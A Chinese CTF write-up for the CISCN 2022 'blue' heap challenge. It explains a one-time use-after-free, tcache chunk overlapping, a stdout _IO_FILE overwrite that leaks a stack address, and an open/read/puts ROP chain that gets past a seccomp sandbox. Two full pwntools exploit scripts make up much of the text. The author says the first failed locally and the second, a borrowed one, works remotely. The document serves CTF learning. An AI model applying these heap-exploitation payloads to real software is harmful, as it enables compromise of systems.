题目来源于ciscn 2022 华东北分区赛的blue。
程序保护:

可以看到题目是保护全开的状态,并且开启了沙箱,所以最后肯定要用到orw。
libc版本为2.31。
静态分析:
check函数:
__int64 check()
{
__int64 result; // rax
if ( _free_hook || (result = _malloc_hook) != 0 )
{
puts_0("ERROR");
_exit(0);
}
return result;
}
可以看到程序还检查了free_hook和malloc_hook的值,并且在每次menu调用的时候都会执行一次。
magic函数:
__int64 magic()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( magic_times > 0 )
{
puts("ERROR");
_exit(0);
}
puts_0("Please input idx: ");
v1 = myread();
if ( v1 <= 0x20 && sizes[v1] && *((_QWORD *)&chunks + v1) )
{
free(*((void **)&chunks + v1)); // uaf
++magic_times;
return puts_0("DONE!\n");
}
else
{
puts_0("ERROR\n");
return 0xFFFFFFFFLL;
}
}
仅能调用一次的uaf,可以用来泄露libc基地址。
add函数:
__int64 add()
{
int i; // [rsp+0h] [rbp-10h]
unsigned int size[3]; // [rsp+4h] [rbp-Ch]
puts_0("Please input size: ");
*(_QWORD *)size = (unsigned int)myread();
if ( size[0] > 0x90 )
size[0] = 144;
*(_QWORD *)&size[1] = malloc(size[0]);
if ( *(_QWORD *)&size[1] )
{
puts_0("Please input content: ");
read_0(*(_QWORD *)&size[1], size[0]);
for ( i = 0; i <= 31; ++i )
{
if ( !chunks[i] && !sizes[i] )
{
chunks[i] = *(_QWORD *)&size[1];
sizes[i] = size[0];
puts_0("Done\n");
return (unsigned int)i;
}
}
return puts_0("Empty\n");
}
else
{
puts_0("Malloc Error\n");
return 0xFFFFFFFFLL;
}
}
堆块大小不能超过0x90,限制了一些操作(比如大于0x410直接释放进unsortedbin)
show函数:
__int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( show_times > 0 )
{
puts("ERROR");
_exit(0);
}
puts_0("Please input idx: ");
v1 = myread();
if ( v1 <= 0x20 && sizes[v1] && chunks[v1] )
{
puts_0(chunks[v1]);
++show_times;
return puts_0("Done!\n");
}
else
{
puts_0("ERROR\n");
return 0xFFFFFFFFLL;
}
}
同样只能调用一次。
delete函数:
__int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts_0("Please input idx: ");
v1 = myread();
if ( v1 <= 0x20 && sizes[v1] && chunks[v1] )
{
free((void *)chunks[v1]);
chunks[v1] = 0LL;
sizes[v1] = 0;
return puts_0("DONE!\n");
}
else
{
puts_0("ERROR\n");
return 0xFFFFFFFFLL;
}
}
很普通的delete函数,没有uaf漏洞。
解题思路:
从上面我们可以看到,程序中唯一有的漏洞就是magic函数里的uaf,但是这个uaf只能利用一次,而且程序限制了我们修改malloc_hook或者free_hook,那么我们该如何控制程序执行流?
在此之前,我们学习栈的时候,通常是通过修改程序返回地址来控制执行流,那么我们在这里是否也可以这样操作?堆题如果想打栈那首先要泄露出栈的地址,而栈地址在environ里面保存的有,所以我们的目标就变成了如何泄露出environ的内容。
上文分析的时候我们知道程序只能调用一次show函数,而这个机会毫无疑问是属于libc基址的,那么我门又该如何输出environ的值?
这个时候就可以引入我们今天的学习目标:IO_FILE(简单入门)
https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/bits/types/struct_FILE.h#L49
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
这题我们就是通过修改stdout的 _IO_write_base(起始输出地址);_IO_write_ptr(输出指向地址);_IO_write_end(输出结束地址)来得到environ的值。我们把_IO_write_base覆盖为environ的地址,把_IO_write_ptr和_IO_write_end覆盖为environ+8就可以泄露出environ的内容。
修改stdout使用的是overlapping的方法,当我们可以控制chunk的header时候,通过修改原有块的头大小,产生堆块重叠。

这就是堆块重叠,这个时候就可以通过修改0x81这个堆块来修改0x91的fd指针,进而造成任意写。
PS:本地libc版本没找到,然后没打通,不知道为什么,留个坑以后来填。
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process("./pwn")
#p = remote('node4.anna.nssctf.cn',28324)
elf = ELF("./pwn")
libc = ELF("/home/kali/glibc-all-in-one-master/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
#libc = ELF("./libc.so.6")
def debug():
gdb.attach(p)
def choice(idx):
p.sendlineafter("Choice:", str(idx))
def add(size, data):
choice(1)
p.sendlineafter("size:", str(size))
p.sendafter("content:", data)
def free(idx):
choice(2)
p.sendlineafter("idx:", str(idx))
def show(idx):
choice(3)
p.sendlineafter("idx:", str(idx))
def uaf(idx):
choice(666)
p.sendlineafter("idx:", str(idx))
for i in range(10):
add(0x80, b"Yuq1Ng")
for i in range(7):
free(i)
#debug()
uaf(8)
show(8)
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base = leak - (0x7f7da3e65be0 - 0x7f7da3c79000)
print("leak >>>",hex(leak))
print("libc_base >>>",hex(libc_base))
#debug()
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
print("stdout >>>", hex(stdout))
environ = libc_base + libc.sym['environ']
print("environ >>>", hex(environ))
free(7)#这个时候由于7号和8号挨在一起,所以合并了
#overlapping
add(0x80, b"Yuq1Ng")#从tcache里面拿出来一个堆块 0
free(8)#8号堆块又被释放进去(从unsortedbin里面到tcachebin)
add(0x70, b"Yuq1Ng")#切割unsortedbin 1
p1 = p64(0) + p64(0x91) + p64(stdout)
add(0x70, p1) # 2
add(0x80, b"Yuq1Ng") # 3
p2 = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
add(0x80, p2) # 4
leak2 = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print("leak >>>",hex(leak2))
stack_addr = leak2 - 0x128# ebp的地址
print("stack_addr >>>",hex(stack_addr))
#debug()
#继续用上面的overlapping
free(3)
free(2)
p3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70, p3) # 2 继续tcachebin attack,这里把最后一个0x80的fd指针改为了stack_addr的地址
debug()
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
flag_addr = stack_addr
ppp = stack_addr + 0x200
p4 = b'./flag\x00\x00'
# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# read(3, ppp, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
# puts(ppp)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80,p64(stack_addr))
#debug()
add(0x80, p4)
#到这里就直接寄了,没读到flag
p.interactive()
参考链接:https://blog.csdn.net/zzq487782568/article/details/125575603
IO_FILE主要是给堆利用增加了一些利用手法,其他的还有horseof系列的手法,后面用到了再学,我也不想在glibc上浪费太多时间,接下来应该会继续向vm、内核、IOT方向发展。
附上上面的一个远程能打通的exp:
from pwn import *
from pwn import p64,u64,p32,u32,p8
#context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
#io=remote('node4.anna.nssctf.cn',28324)
io = process("./pwn")
elf=ELF("./pwn")
libc=ELF("/home/kali/glibc-all-in-one-master/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
inter = lambda : io.interactive()
def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(size,content):
sla(b"Choice: ",b"1")
sla(b"Please input size:",str(size))
sa(b"Please input content:",content)
def free(idx):
sla(b"Choice: ",b"2")
sla(b"Please input idx:",str(idx))
def show(idx):
sla(b"Choice: ",b"3")
sla(b"Please input idx:",str(idx))
def uaf(idx):
sla(b"Choice: ",b"666")
sla(b"Please input idx:",str(idx))
def pwn():
for i in range(9):
add(0x80,b"aaaa") # 0-8
add(0x10,b"aaaa")
for i in range(7):
free(i)
uaf(8)
show(8)
libc_base = get_addr() - 0x1ecbe0
IO_stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
environ = libc_base + libc.sym["environ"]
print("libc_base ------> "+hex(libc_base))
free(7)
add(0x80,b"aaaa") #0
free(8)
# gd()
# pause()
add(0x70,b"aaaa") #1
payload = p64(0) + p64(0x91)
payload += p64(IO_stdout)
add(0x70,payload) #2
add(0x80,b"aaaa") #3 2和3地址只差了0x10,所以用2可以覆盖3堆块,控制tcache链表
payload = p64(0xfbad1800) + p64(0) * 3
payload += p64(environ) + p64(environ + 8)*2
add(0x80,payload) #4
stack = get_addr() - 0x128
print("stack addr ----> "+hex(stack))
# pause()
free(3)
# pause()
free(2)
# pause()
payload = p64(0) + p64(0x91)
payload += p64(stack)
add(0x70,payload)
add(0x80,b"aaaa") # 将下一个控制位add函数的ret栈地址,方便我们写入shellcode
# pause()
pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
#pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
#pop_rsi_ret = libc_base +0x000000000002601f
pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
#pop_rdx_ret = 0x0000000000142c92 + libc_base
open_plt = libc_base + libc.sym["open"]
read_plt = libc_base + libc.sym["read"]
puts_plt = libc_base + libc.sym["puts"]
flag = stack + 0x180 # flag被读入的地址
# ./flag字符串地址就是stack地址,注意要8字节对齐
payload = b"./flag\x00\x00"
# open("./flag",0) 0 代表只读形式
payload += p64(pop_rdi) + p64(stack)
payload += p64(pop_rsi) + p64(0)
payload += p64(open_plt)
# read(3,flag地址,0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag)
payload += p64(pop_rdx) + p64(0x40)
payload += p64(read_plt)
# puts(flag地址) 因为写orw的话,payload会超过了0x80字节
payload += p64(pop_rdi) + p64(flag)
payload += p64(puts_plt)
add(0x80,payload) # 这个堆块可以就是add函数的ret地址,我们将payload写在那里
# pause()
inter()
pwn()
师傅们的lambda表达式还是很好用的,后面可以自己总结一个。
本文地址: Blue -> IO_FILE